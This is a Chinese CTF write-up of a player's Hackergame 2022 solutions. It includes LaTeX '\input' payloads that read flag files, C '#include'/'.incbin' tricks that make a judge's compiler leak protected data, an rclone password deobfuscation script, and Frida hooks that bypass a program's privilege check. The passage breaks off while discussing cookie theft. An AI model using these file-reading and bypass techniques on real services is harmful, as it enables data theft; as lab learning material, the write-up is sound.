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GalaxySnail

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前言

今年的题目体感上要更友好一些,比如猫咪问答、旅行照片都设置了难度梯度,整体题目的难度梯度设计也更均匀一些,感觉很不错(

今年是我第三次参加 hacker game,在去年时间分配不合理的教训之后,今年我专门关注了题目的时间分配,加上发挥得也比较好,有幸做到了 4900 分、第 49 名,尤其是做出来了一些以前想都不敢想的题目,还挺有成就感的。

第1题:签到

随便画几下,点击提交,发现年份是直接通过 URL 上的 param 来传递的,于是把链接改成:

http://202.38.93.111:12022/?result=2022

即可。

第2题:猫咪问答喵

今年的猫咪问答在设计上要友好很多,答对一半题目也能得分,并且提交时会提示对了几道题,这样方便排查哪道题答错了。

许多问题在官方题解里已经讲得很好了,我就讲讲我和官方做法不完全一样的地方。

第 2 题:这个 KDE 程序的名字是什么

如官方题解所述,我在页面上找到了 slides 之后,完整阅读,没发现哪来明确写了软件名称,只看到“对 XWayland 的依赖程度”那一页有个截图。于是去看录播,在 https://www.bilibili.com/video/av260820233?t=9720 可以听到,这里说的是 KDE 的视频剪辑软件 Kdenlive。

当时看到这里,笑死,视频里全是 hacker game 的观光团,弹幕一堆问号听不清说的啥的()因为 GNU/Linux 上的剪辑软件并不多,我听说过 Kdenlive 这个软件,所以不难听清了(

第 4 题:PwnKit(CVE-2021-4034)

CVE 号都给出来了,那非常简单,直接搜就行了。

这里需要对 Linux 内核的开发模式有一点了解,Linux 虽然使用 git 做版本控制,但是并不是通过 pull request 机制来接受贡献的,而是需要贡献者把对代码的更改存放在 patch 文件中(其实相当于就是 diff 命令的输出),在内核的邮件列表发邮件,提交代码的 patch,在维护者接受后,对 Linux git 仓库有写入权限的维护者就会把这个 patch 作为一个 commit 提交到 Linux git 仓库中去。

Linux 的官网是 https://kernel.org ,邮件列表也在这里,于是搜索 Linux CVE-2021-4034 site:kernel.org,第一个结果就是提交这个 patch 的邮件,看到这个 patch 是对 fs/exec.c 这个文件做了修改,接着就去 Linux 的源码里找这个文件。

虽然 Linux 的 git 仓库本身并不托管在 GitHub 上,但它在 GitHub 上有一个只读的镜像:https://github.com/torvalds/linux ,在找到 fs/exec.c 后点击右侧的 blame 按钮来进行 git blame,这个模式下可以看到每一行代码是在哪个提交中添加的。从上面邮件的 patch 来看,应该是修改了 retval = count(argv, MAX_ARG_STRINGS); 这一行附近的代码,用 CTRL-F 搜索,看到这一行的下一行有一个 9 个月前的提交,时间刚好能对上,简单阅读一下 commit message,提到了这个 CVE,那确信就是它没错了。

grep 搜索和 git blame 都是阅读源码时的重要技能,要阅读开源项目的代码的话是很有必要掌握的。

第 5 题:ssh 服务器的域名

直接搜索 hash 即可,在搜索引擎搜索 "e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce",注意要加上双引号,告诉搜索引擎只显示完整包括这段字符串的网页。在比赛期间能搜到两个结果(现在能搜到 3 个了,多出来的是官方题解😂),分别是:

简单浏览一下,第二个页面没什么帮助。然后第一反应可能想当然以为就是 zeek.org 了,去掉重复的字母刚好是 6 个字母,不过题目的补充说明说域名共有 6 个字母,且各不相同

在第一个页面里 CTRL-F 搜索这串 md5,看到这串 md5 对应的服务器 ip 是 205.166.94.16,于是继续搜索这个 ip,搜到它的域名是 sdf.org,并且确实是 1996 年注册的,那么就是它了。

第 6 题:网络通定价

这个题没什么需要补充的,就是我当时搜到 2010 年的网页后,直接填了 2011-01-01,结果不对,经过排查确定是这一题有错后,觉得有些摸不着头脑,又去查了查才发现早在 2003 年就有了相关文件,颇具年代感的扫描图片真是让人感慨,定价居然 20 年没有变过()一开始真没想到这个竟然这么早。

第3题:家目录里的秘密

VS Code 里的 flag

解压开文件后,用 grep 类工具搜索即可。官方题解中举了 grep 和 ripgrep 的例子,不过我更习惯使用 the silver searcher ag

$ ag -i --hidden 'flag{'

-i 表示不区分大小写,--hidden 表示搜索隐藏文件(否则默认会忽略点开头的文件和目录)。

Rclone 里的 flag

这里和 rclone 有关的文件不多,很容易就能找到在 user/.config/rclone/rclone.conf 里存放着密码,不过很明显这个是经过加密的。于是在 GitHub 上的 rclone 源码仓库里搜索 password,不难找到 cmd/obscure/obscure.go 里包含了混淆和解混淆逻辑的命令行接口,而从 import 看出加密和解密的逻辑是在 fs/config/obscure.go 当中实现的。

因为不熟悉 golang,我不打算修改Go语言代码并编译,而是阅读它的算法然后在 python 中实现。可以看出这里使用的是256位密钥的 AES-256 加密,在此前我对密码学也是零基础,不过往年就听说在 CTF wiki 上有不错的资料,就去读了读。

补了一点基础知识后,看到这里使用的分组模式是 CTR 模式,于是就可以开写代码了。我用的是 python 生态中一个比较有名的密码学库 cryptography,代码如下:

import base64

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# https://github.com/rclone/rclone/blob/v1.60.0/fs/config/obscure/obscure.go
KEY = bytes([
    0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d,
    0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b,
    0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb,
    0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38,
])
# https://pkg.go.dev/crypto/aes#pkg-constants
AES_BLOCKSIZE = 16

def main():
    password = input().strip()
    password = base64.urlsafe_b64decode(password)
    iv = password[:AES_BLOCKSIZE]
    ciphertext = password[AES_BLOCKSIZE:]

    cipher = Cipher(algorithms.AES(KEY), modes.CTR(iv))
    decryptor = cipher.decryptor()
    plaintext = decryptor.update(ciphertext) + decryptor.finalize()
    print(plaintext)

main()

第4题:HeiLang

这题不难,简单的字符串处理。我没意识到可以直接查找替换,而是用正则表达式写的。

点此查看代码

第5题:Xcaptcha

这个页面会在 1 秒后自动提交,打开 F12 network,看到它会发送一个 POST 请求。那么很简单,写脚本抓取网页,然后计算出结果并 POST 提交。

点此查看代码。传入的 URL 是直接复制来的带有 token 的 URL,这样不用专门处理 cookie。

第6题:旅行照片 2.0

今年的旅行照片设置了难度梯度,即使不用社工也可以拿到一部分分了,这样设计挺不错的。

第一题:照片分析

第一问就是典型的 exif 信息问题。在相机拍摄照片的时候,会在照片中记录下诸如设备型号、拍摄时间地点、拍摄时相机使用的各种参数等元数据,这些就是 exif 信息。正如官方题解所说,直接向他人分享照片原图是非常危险的行为。

我使用的工具是命令行的 exiv2

$ exiv2 travel-photo-2.jpg

或者可以加参数查看完整的元数据:

$ exiv2 -P kt travel-photo-2.jpg

第一问中需要的数据都可以轻易在其中找到。

第二题:社工实践

放大图片,可以看到这里有个体育场,上面写着“ZOZOMARINE STADIUM”,即使看不清一两个字母也不影响搜索,经过查找就轻松找到地点是日本千叶海洋球场,位于日本千叶市(从前面 exif 里的时区来看也多半是在日本)。(这次不比去年那个肯德基简单多了,我哭死)

然后我想当然地去 wikipedia 上找到千叶市的邮编就贴在这里了。直到后面航班怎么都不对,才回来怀疑是邮编有问题,上 Google map 一看,竟然隔一两百米一栋楼邮编就不一样,只能说不愧是日本,还是国土面积限制了我的想象力.jpg。打开 Google earth,找到合适的位置角度,可以看到拍摄地点应该是体育馆东侧的一栋高楼,在 Google map 里查看这栋楼的邮编,是 261-0021。

关于手机型号,我是看题目真的很老实地去找近年的小米手机,看哪个型号的摄像头长得和照片里一样,完全没发现 exif 信息里其实就有了(

然后是航班,这个花了我不少时间。我一开始是查了一下航班路线,确定在此处向北飞的飞机一定是起飞于西边的东京国际机场(又叫羽田机场),但是一番搜索后没找到能查看几个月前历史航班信息的网站,都是要收费而且价格不菲。于是我就根据 exif 的拍摄时间,去官网找做题当天大约在当地时间下午6点之后起飞的航班,一个一个试。

在全试了一遍发现都是错的后,都差点打算放弃这个题了,不过幸好去检查了一下邮编,才发现邮编有错。改正了邮编后,我发现这个网站不仅仅能查看实时的航班状态,还能查看几天之内的历史航班,于是我又在这里查找下午6点后经过拍摄地的航班,终于试出来了结果。

第7题:猜数字

这题的官方题解已经讲得很好了,答案是使用 IEEE 754 浮点数的 NaN。我一开始也想着去暴力破解了,写好代码一看一秒才十几二十个请求,显然暴力破解是不现实的。又仔细读了读代码,才恍然大悟,应该用 NaN。

点此查看代码

需要强调的一点是,NaN 并不是 java 或者 javascript 独有的,它是 IEEE 754 浮点数标准中规定的一类值,任何支持 IEEE 754 浮点数的编程语言、任何支持 IEEE 754 的 CPU 一定都有这个特性,网上很多段子拿它来黑 javascript 其实是很不合理的(虽然 js 爱搞隐式类型转换确实很坑),只不过 js 的隐式类型转换比别的语言更容易搞出来 NaN 罢了。

但是,像这里,字符串到浮点数的显式类型转换是任何语言都绕不过去的。比如:

  • 在 python 中,float("nan") 不区分大小写,都能得到一个 NaN 值,参见文档
  • 在 rust 中,f64::from_str("nan") 同样不区分大小写能得到一个 NaN 值,参见文档在线编译器
  • 在C语言中,从 c99 开始,atof("nan")strtod("nan", &end) 不区分大小写得到一个 NaN 值,参见文档[1][2] 。在线编译器

还有一个例子是经典的 0.1 + 0.2 != 0.3,也被经常拿来黑 js。因为这个例子太过于常见,甚至有人做了一个网站:https://0.30000000000000004.com/ 专门来收集各个编程语言的浮点数在计算 0.1 + 0.2 时的输出。python 官方文档的教程也专门有一节讨论这个问题。

同样,这个行为也是 IEEE 754 binary64 的64位二进制浮点数的标准行为,我们能见到的各种编程语言、CPU 都是如此。

因此,不论是什么编程语言,在处理字符串到浮点数的转换时一定要小心,要么在转换之后检查值是不是正负 inf 和 NaN,要么在转换之前用正则表达式检查,比如只接受 \d+\.?\d* 这样的格式。

而像 js 和 lua 这样爱做隐式类型转换的语言,NaN 的威胁则更加无处不在。比如去年(2021年)7月,B站崩溃的那次,事后的事故分析表明就是因为在一段 openresty 的求最大公因数的代码中,lua 将字符串 "0" 在求余中隐式转换为 0,产生了 NaN,从而导致这个尾递归函数被优化成循环后陷入了死循环。一个小小的 NaN,竟能导致这么严重的事故。

说了这么多,让我想起之前看过的另一个版本的“编程三大错觉”:我懂浮点数、我懂 Unicode、我懂时区。[链接]

第8题:LaTeX 机器人

纯文本

这道题我是在第 10 题“安全的在线测评”之后做的,所以第一就想到了 #include 之类的办法,让 LaTeX 编译器帮我们读取 flag 并显示出来。

带着这个关键词去搜索,很容易搜到了两个指令:\input\include。经过尝试,发现 include 不行但 input 可以。

\input{/flag1}

特殊字符混入

第二问,题目明确说 flag 中混入了井号 # 和下划线 _,上一问的做法自然是不奏效了。不过很自然地想到,有没有办法在 include 文件内容的同时,让文件内容被安全地转义成字符串呢?

经过搜索 latex \input escape 之类的关键词,找到了一个叫 \write18 的指令,它可以执行任意命令。不过很显然,这样强大的功能明显是安全漏洞,默认是禁用的,从题目的 shell 脚本也能看出加了 -no-shell-escape 参数禁用了这个指令。

一番搜索后,终于在 latex \input underscore 这样的关键词下搜到了结果:Change Category Code,答案是用 \catcode` 指令(注意这个反引号),改变字符类别,让语法中的井号和下划线被解释为普通字符类别。

\catcode`\#=11 \catcode`\_=11 \input{/flag2}

第9题:Flag 的痕迹

查看 dokuwiki 的官方文档,其中介绍了检查历史变更这个功能,不过正如题目所说,这个功能被禁用了,?do=recent 不起作用。

不过,这个页面上还提到了一个 diff 功能,于是尝试一下 ?do=diff,便如愿看到了变更。

第10题:安全的在线测评

很有趣的一道题,也是我签到题之后做的第一道题。

无法 AC 的题目

经过阅读判题代码和亲自尝试,发现上传上去的程序不论怎么做都是无法获得输出的,因为在执行时降低了权限,所以希望通过 /proc 打开父进程的 stdout 来输出数据也是做不到的。因为看不到输出,想要找漏洞提权也不现实。

不过,这里对编译器网开一面,编译器没有降低权限,那么有没有办法让编译器来帮我们读取文件呢?

这个需要对C语言有一点了解,C语言的编译过程分为了“预处理”、“编译”、“链接”这三大步骤,其中在预处理期,会执行诸如 #include 包含头文件、定义宏、展开宏等一系列操作。其中,#include 预处理语句的作用就是读取指定的头文件,然后用文件的内容来替换 #include 语句所在的位置,就是简单的文本替换。

而实际上,这个 #include 不仅仅能用来包含头文件,也能用来包含 .c 后缀的源码文件,更进一步它实际上来者不拒,只要是文本文件就都能处理。所以,我们把样例输出文件的路径传给 #include 语句,看看编译器能不能直接读取数据,编译到字符串里去:

int main(void)
{
    char *str1 = "
#include "/proc/self/cwd/data/static.out"
";
    return 0;
}

(我一开始没想到这里的相对路径是相对于被编译的文件,而不是编译器的工作目录,所以我当时用了 /proc/self/cwd 来让它变成绝对路径。其实像官方题解那样用正确的相对路径也是可以的。)

很可惜,C语言不支持这样的多行字符串,报告了语法错误,但同时,因为没有禁掉编译器的输出,我们也获得了样例输出的第二行:

./temp/code.c: In function ‘main’:
./temp/code.c:3:18: error: missing terminating " character
    3 |     char *str1 = "
      |                  ^
In file included from ./temp/code.c:4:
/proc/self/cwd/data/static.out:2:1: error: expected ‘,’ or ‘;’ before numeric constant
    2 | 10684702576155937335553595920566407462823007338655463309766538118799757703957743543601066745298528907374149501878689338178500355437330403123549617205342471
      | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
./temp/code.c:5:1: error: missing terminating " character
    5 | ";
      | ^~
静态数据测试: Compile Error

如法炮制,稍微改一下代码(点此查看代码),就能获得第一行。既然是不会改变的静态数据,那么硬编码写死在代码里就能通过:

#include <stdio.h>

int main(void)
{
    printf(
        "9760010330994056474520934906037798583967354072331648925679551350152225627627480095828056866209615240305792136810717998501360021210258189625550663046239919\n"
        "10684702576155937335553595920566407462823007338655463309766538118799757703957743543601066745298528907374149501878689338178500355437330403123549617205342471\n"
    );
    return 0;
}

本题的 flag 说 the_compiler_is_my_eyes,可以说是非常精髓了。

动态数据

第二问则更有挑战性。因为不是静态数据,所以不能用编译器获取输出、再写死在代码里了,而必须要编译器直接读取数据并编译到可执行文件的字符串里。

上面多行字符串的尝试失败了,不过我又搜了一下,发现 C++ 有一个多行字符串的语法,而 gcc 作为语法拓展,对C语言也支持这个语法:

int main(void)
{
    char *str1 = R"(
#include "/proc/self/cwd/data/static.out
)";
    return 0;
}

不过很可惜,这个“多行字符串”实际上是“原始字符串”,连着里面的预处理语句也一起转义了,没法在里面 include 文件。那还有别的办法吗?

实际上,在C语言代码里嵌入文件,本身就是个很常见的需求。比如需要把图片作为数组嵌入到可执行程序里去,或者是在程序里嵌入注入 README、LICENSE 之类的信息。我作为一个(自认为)比较关心编程语言最新发展的用户,之前看过一篇文章:finally. #embed is in C23。也就是说,因为这种需求太普遍了,但又一直没有足够好且足够通用的工具,因此在即将到来的 C23 标准中,甚至专门为此引入了一个预处理语句 #embed。如官方题解所说,C++ 也有类似的提案但好像没被 C++23 接受,推迟了。

但是至今 gcc 暂时还没有实现这个特性(包括目前最新的 gcc 13)。那么在这个提案之前,通常都是怎么做的呢?最普遍的做法是用诸如 xxd 这样的工具,把二进制文件转换成十六进制字符串,然后放在数组的初始化表达式里。也就是说,这是用额外工具在编译之前来做的,编译器对此不知情。那么,对这道题而言也是没有帮助的。

直到做这道题之前,我一直以为只有这一种办法。我又搜索了一下 #embed 的替代方案,结果在这里这里看到了一个此前我从没听说过的方案:.incbin

这是一个 GNU 汇编器(gas)的指令,并不是真正的汇编,但它用来指示汇编器在这个位置嵌入指定文件里的数据。在C语言中,可以用 gcc 内联汇编语法 __asm__ 来发出这个 .incbin 指令。从功能上讲,它几乎就和 #embed 差不多了,只不过未被标准化、不容易移植、并且需要写内联汇编。

不过好在已经有一个头文件库处理好了绝大部分样板代码:https://github.com/graphitemaster/incbin ,接下来只需要包含这个头文件,然后调用 INCTXT 宏就行。比如,用这个库的话,第一问可以这么做:

#include <stdio.h>

INCTXT(StaticOut, "/proc/self/cwd/data/static.out");

int main(void)
{
    printf("%s", gStaticOutData);
    return 0;
}

在把上面的代码粘贴到终端之前先要把 incbin.h 粘贴到终端。

于是这个问题迎刃而解。点此查看代码

这一问的 flag 是 cpp_need_P1040_std_embed,当时直接笑出声,确实,要是有了 #embed 哪有这么多事(

第11题:线路板

解压开题目提供的压缩包,看到有一些 .gbr 后缀的文件,经过查询,这是一种叫 gerber 的矢量图格式,是专门为电路板设计的。于是,只需要找一个合适的 gerber 查看器,去掉遮挡就能拿到 flag 了。

先是找了一个叫 gerbv 的查看器,但是不太好用,不方便改遮挡。于是我到 gerber 官网 看了一下,发现官网提供了一个 gerber 查看器的参考实现,能在浏览器上在线使用:https://gerber-viewer.ucamco.com/

在这里上传整个压缩包,就能看到电路板预览图:

然后在左边第二列按钮改一下预览模式,就能轻松看到 flag 了。

第12题:Flag 自动机

没想到这道题做出来的人这么多,而且是 binary 分类的签到题,应该是我对逆向没什么基础,在这道题上花了不少功夫的。官方题解本身已经足够详细了,我不熟悉 win32api,这题是用 x64dbgfrida 来做的。

先把程序打开,发现鼠标指上去以后按钮会乱飘,于是打开 x32dbg 调试器,attach 上去,然后查看函数调用栈。

GUI 程序属于典型的事件驱动的程序,通常有一个处理事件的主循环(事件循环),等待事件到达,然后调用事件对应的处理程序,处理完毕后继续等待事件。看到调用栈,发现程序不活动时在 0x00401B61 地址处调用 GetMessageA 函数等待事件,想必这里就是事件循环了。

00401B13 | 83EC 30                | sub esp,30                                    |
00401B16 | A1 20B04000            | mov eax,dword ptr ds:[40B020]                 |
00401B1B | C74424 0C 00000000     | mov dword ptr ss:[esp+C],0                    |
00401B23 | C74424 08 90010000     | mov dword ptr ss:[esp+8],190                  |
00401B2B | C74424 04 59194000     | mov dword ptr ss:[esp+4],flag_machine.401959  | 401959:"U夊冹8亇\f"
00401B33 | 890424                 | mov dword ptr ss:[esp],eax                    |
00401B36 | E8 A5040000            | call <JMP.&SetWindowSubclass>                 |
00401B3B | 83EC 10                | sub esp,10                                    |
00401B3E | C74424 0C 00000000     | mov dword ptr ss:[esp+C],0                    |
00401B46 | C74424 08 00000000     | mov dword ptr ss:[esp+8],0                    |
00401B4E | C74424 04 00000000     | mov dword ptr ss:[esp+4],0                    |
00401B56 | 8D45 DC                | lea eax,dword ptr ss:[ebp-24]                 |
00401B59 | 890424                 | mov dword ptr ss:[esp],eax                    |
00401B5C | A1 10C34000            | mov eax,dword ptr ds:[<&GetMessageA>]         |
00401B61 | FFD0                   | call eax        <<---- 在这里                 |
00401B63 | 83EC 10                | sub esp,10                                    |
00401B66 | 85C0                   | test eax,eax                                  |
00401B68 | 0F95C0                 | setne al                                      |
00401B6B | 84C0                   | test al,al                                    |
00401B6D | 74 22                  | je flag_machine.401B91                        |

在这里往上找,发现上面使用了一个函数指针 flag_machine.401959,跳转过去看看:

     0040195F | 817D 0C 00020000       | cmp dword ptr ss:[ebp+C],200             |
 +---00401966 | 0F85 99000000          | jne flag_machine.401A05                  |
 |   0040196C | E8 17640000            | call <JMP.&rand>                         |
 |   ...      | ...                    | ...                                      |
 |   00401998 | E8 EB630000            | call <JMP.&rand>                         |
 |   ...      | ...                    | ...                                      |
 |   004019FA | A1 34C34000            | mov eax,dword ptr ds:[<&SetWindowPos>]   |
 |   004019FF | FFD0                   | call eax                                 |
 |   00401A01 | 83EC 1C                | sub esp,1C                               |
 |   00401A04 | 90                     | nop                                      |
 +-->00401A05 | 8B45 14                | mov eax,dword ptr ss:[ebp+14]            |

发现这个函数很蹊跷,有一个 if 分支判断,在分支里调用了两次 rand 函数,然后调用了 SetWindowPos,想必这里就是让窗口乱跳的逻辑了,在这里的 jne 上打个断点,尝试一下,证实了这个猜想。

其实 x32dbg 这里是可以直接修改寄存器的,让这个控制流不要跳进这个分支,但是手动改寄存器需要操作 x32dbg 的窗口,这样 flag_machine 就失去焦点了,就没法点按钮了。所以我打开了 frida,准备挂钩 SetWindowsPos 函数,更改按钮的坐标让它不乱飘。一个简短的 frida javascript 脚本:

Interceptor.attach(ptr(0x004019FA), {
    onEnter(args) {}
})

并用如下命令来执行这个脚本:

$ frida -l q12_flag自动机.js flag_machine.exe

惊讶地发现,虽然我还啥逻辑都没写,但这样就已经能让按钮不乱飘了。我不太清楚这里的原理,有知道的朋友可以给我题解的仓库提 issue 或者给我发邮件,非常感谢(

我本以为到这就结束了,然而点击上去却弹窗 获取 flag 失败!您不是本机的“超级管理员”!

接着保持这个弹窗打开,然后在“线程”中点击主线程(因为此时程序可能因为 frida 而卡在 frida 注入的线程上),然后查看调用栈,发现此时正在 0x00401836 地址处调用 MessageBoxW 函数:

      0040180A | 817D 14 52BF0100     | cmp dword ptr ss:[ebp+14],1BF52               |
  +---00401811 | 74 2D                | je flag_machine.401840                        |
  |   00401813 | C74424 0C 00000000   | mov dword ptr ss:[esp+C],0                    |
  |   0040181B | C74424 08 5EA04000   | mov dword ptr ss:[esp+8],flag_machine.40A05E  | 40A05E:L"Error"
  |   00401823 | C74424 04 6CA04000   | mov dword ptr ss:[esp+4],flag_machine.40A06C  | 40A06C:"穬諷 "
  |   0040182B | 8B45 08              | mov eax,dword ptr ss:[ebp+8]                  |
  |   0040182E | 890424               | mov dword ptr ss:[esp],eax                    |
  |   00401831 | A1 20C34000          | mov eax,dword ptr ds:[<&MessageBoxW>]         |
  |   00401836 | FFD0   <-- 在这里    | call eax                                      |
  |   00401838 | 83EC 10              | sub esp,10                                    |
+-|---0040183B | E9 EF000000          | jmp flag_machine.40192F                       |
| +-->00401840 | 8B45 14              | mov eax,dword ptr ss:[ebp+14]                 |
|     00401843 | 894424 04            | mov dword ptr ss:[esp+4],eax                  |
|     00401847 | 8B45 08              | mov eax,dword ptr ss:[ebp+8]                  |
|     0040184A | 890424               | mov dword ptr ss:[esp],eax                    |
|     0040184D | E8 38070000          | call flag_machine.401F8A                      |
|     00401852 | 8945 EC              | mov dword ptr ss:[ebp-14],eax                 |
|     00401855 | C74424 0C 00000000   | mov dword ptr ss:[esp+C],0                    |
|     0040185D | C74424 08 A4A04000   | mov dword ptr ss:[esp+8],flag_machine.40A0A4  | 40A0A4:L"Congratulations"
|     00401865 | C74424 04 C4A04000   | mov dword ptr ss:[esp+4],flag_machine.40A0C4  | 40A0C4:"m`淯`O穬梍 "
|     0040186D | 8B45 08              | mov eax,dword ptr ss:[ebp+8]                  |
|     00401870 | 890424               | mov dword ptr ss:[esp],eax                    |
|     00401873 | A1 20C34000          | mov eax,dword ptr ds:[<&MessageBoxW>]         |
|     00401878 | FFD0                 | call eax                                      |
|     0040187A | 83EC 10              | sub esp,10                                    |
|     0040187D | C74424 04 28A14000   | mov dword ptr ss:[esp+4],flag_machine.40A128  | 40A128:L"w汦条浟捡楨敮琮瑸"
|     00401885 | C70424 2AA14000      | mov dword ptr ss:[esp],flag_machine.40A12A    | 40A12A:"flag_machine.txt"
v     0040188C | E8 3F650000          | call <JMP.&fopen>                             |

这样看来,应该是在上面 0x00401811 的分支判断处,进了不该进的分支。而另一条分支看来,有 "Congratulations",然后还 fopen 打开一个 flag_machine.txt 的文件,再下面还调用 fwrite,那这多半就是成功的路径了。

所以,在上述分支判断处下一个断点,再点一下按钮触发断点,在右侧寄存器窗口把 ZF 寄存器的值从 0 改成 1,让程序继续运行,便成功进入正确的代码路径,弹出提示窗口,并且写入了 flag_machine.txt 文件。

在写题解复刻的时候,这样操作就一次成功拿到 flag 了。不过当时做题的时候,这样操作得到的 flag_machine.txt 里总是些看上去随机的字节,而且每次点击按钮写入的数据还都不一样,当时也搞不明白是为什么,不过我打算继续用 frida 来自动化这个步骤。

借助 x64dbg 的 snowman 反编译插件,虽然反编译代码的质量不如人意,不过足够帮我理清楚这段代码的控制流了:

展开反编译代码
void fun_401510(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
    int32_t eax5;
    int32_t eax6;
    int32_t eax7;
    int32_t eax8;
    int32_t eax9;
    int32_t eax10;
    int32_t v11;
    int32_t v12;
    int32_t eax13;
    int32_t eax14;
    int32_t v15;
    int32_t v16;
    int32_t eax17;
    int32_t v18;
    int32_t v19;
    int32_t v20;
    int32_t v21;
    int32_t eax22;
    int32_t v23;
    int32_t eax24;
    int32_t eax25;
    int32_t eax26;
    int32_t eax27;
    int32_t eax28;
    int32_t eax29;
    int32_t eax30;
    int32_t eax31;
    uint32_t eax32;
    int32_t eax33;
    int32_t eax34;
    int32_t eax35;
    int32_t eax36;
    int32_t eax37;
    int32_t eax38;
    int32_t eax39;
    int32_t eax40;
    int32_t eax41;
    int32_t eax42;
    int32_t eax43;

    if (a2 == 2) {
        eax5 = PostQuitMessage;
        eax5(0);
    } else {
        if (a2 == 0x111) {
            eax6 = a3;
            if (*(int16_t*)&eax6 == 2) {
                eax7 = PostQuitMessage;
                eax7(0);
            }
            eax8 = a3;
            if (*(int16_t*)&eax8 == 3) {
                if (a4 == 0x1bf52) {
                    eax9 = fun_401f8a(a1, a4);
                    eax10 = MessageBoxW;
                    v11 = 0x40187a;
                    eax10(a1, 0x40a0c4, "C", 0);
                    v12 = (int32_t)"w";
                    eax13 = fun_407dd0("flag_machine.txt", "w");
                    if (!eax13) {
                        v11 = 0;
                        v12 = 0x40a13c;
                        eax14 = MessageBoxW;
                        eax14(a1, 0x40a13c, "E", 0, a1, 0x40a0c4, "C", 0);
                        fun_407db8(eax9, v15, v16, 0x4018bf, a1, 0x40a13c, "E", 0, a1, 0x40a0c4, "C", 0);
                        fun_407de0(-1);
                    }
                    eax17 = fun_407d68(eax9, v12, "E", v11, a1, 0x40a0c4, "C", 0);
                    fun_407db0(eax9, 1, eax17, eax13, a1, 0x40a0c4, "C", 0);
                    fun_407dd8(eax13, 1, eax17, eax13, a1, 0x40a0c4, "C", 0);
                    fun_407db8(eax9, 1, eax17, eax13, a1, 0x40a0c4, "C", 0, v18, v19, v20, v21);
                } else {
                    eax22 = MessageBoxW;
                    eax22(a1, 0x40a06c, "E", 0);
                }
            }
        } else {
            if (a2 == 1) {
                v23 = a1;
                eax24 = CreateWindowExW;
                eax25 = (int32_t)eax24(0, "B", 0x40a028, 0x50000000, 85, 0x96, 80, 25, v23, 3, 0, 0);
                g40b020 = eax25;
                eax26 = CreateWindowExW;
                eax27 = (int32_t)eax26(0, "B", 0x40a040, 0x50000000, 0xb9, 0x96, 80, 25, a1, 2, 0, 0, 0, "B", 0x40a028, 0x50000000, 85, 0x96, 80, 25, v23, 3, 0, 0);
                g40b024 = eax27;
                eax28 = g409004;
                eax29 = CreateWindowExW;
                eax30 = (int32_t)eax29(0, "S", eax28, 0x50000000, 85, 100, 0x12c, 20, a1, 1, 0, 0, 0, "B", 0x40a040, 0x50000000, 0xb9, 0x96, 80, 25, a1, 2, 0, 0, 0, "B", 0x40a028, 0x50000000, 85, 0x96, 80, 25, v23, 3, 0, 0);
                g40b028 = eax30;
                eax31 = GetWindowLongA;
                eax32 = (uint32_t)eax31(a1, -16);
                eax33 = SetWindowLongA;
                eax33(a1, -16, eax32 & 0xfffeffff, -16);
                eax34 = CreateFontW;
                eax35 = (int32_t)eax34(12, 0, 0, 0, 0x190, 0, 0, 0, 0x86, 0, 0, 2, 18, 0x40a058);
                eax36 = SendMessageA;
                eax36(a1, 48, eax35, 1);
                eax37 = g40b020;
                eax38 = SendMessageA;
                eax38(eax37, 48, eax35, 1, a1, 48, eax35, 1);
                eax39 = g40b024;
                eax40 = SendMessageA;
                eax40(eax39, 48, eax35, 1, eax37, 48, eax35, 1, a1, 48, eax35, 1);
                eax41 = g40b028;
                eax42 = SendMessageA;
                eax42(eax41, 48, eax35, 1, eax39, 48, eax35, 1, eax37, 48, eax35, 1, a1, 48, eax35, 1);
            }
        }
    }
    eax43 = DefWindowProcW;
    eax43(a1, a2, a3, a4, 85, 0x96, 80, 25, v23, 3, 0, 0);
    return;
}

这里的判断的 [ebp+14] 实际上是函数的第 4 个参数,那么只需要挂钩这个函数,让第 4 个参数的值变成 0x1bf52 就可以了。不过这个函数会被反复调用,不是所有情况下都需要改这个参数的。

既然函数传参用的是 ebp 寄存器,发现 x64dbg 支持一个叫 stdcall,EBP 栈帧 的调用约定,切到这个模式,看到触发这个断点时,第二个参数的值是 0x111,那么就用它做判断好了。而 0x1bf52 是什么东西呢?转换一下进制,好家伙,原来是 114514,这不是超级管理员,是恶臭管理员罢(恼

综合以上信息,写出代码:

Interceptor.attach(ptr(0x004019FA), {
    onEnter(args) {}
})

Interceptor.attach(ptr(0x00401510), {
    onEnter(args) {
        if (args[1].toInt32() !== 0x111) {
            return
        }
        for (let i=0; i<4; i++) {
            console.log(`args[${i}]: ${args[i]}, ${args[i].toInt32()}`)
        }
        args[3] = ptr("114514")
        console.log("args[3] = ", args[3].toInt32())
    }
})

接着,重启 flag_machine.exe,然后不开调试器,只开 frida,点击按钮,获得 flag,一气呵成。

flag 说 Y0u_rea1ly_kn0w_Win32API,2333 其实我基本上一点都不懂 win32api,那么古老的历史遗留,学是不可能学的,只能挂一挂调试器、跑一跑 frida 这样子的,Linux 社区里个个都是人才,说话又好听,我超喜欢在里面的(逃

第13题:微积分计算小练习

这个题的官方题解已经讲得很好很完整了,我就说一下我当时做的思路。

这题第一眼让人有些摸不着头脑:一个把 flag 添加到 cookie 里的 selenium headless chromium 浏览器环境能有什么用呢?

cookie 会随着 HTTP 请求发送到比赛服务器,不过经过探索,服务器上也没有能获取其它客户端 cookie 的接口(毕竟这听起来也太扯了)。获取客户端的 cookie,一个容易想到的是 CSRF 跨站请求伪造,让客户端向一个自己控制的服务器发起请求,可是这一方面需要自己有个服务器,对于一道题的解法来说不太现实。(更何况比赛 docker 环境是没有互联网的。)还有 XSS 跨站脚本攻击,可是同样我印象中这需要攻击者拥有自己控制的服务器才行。

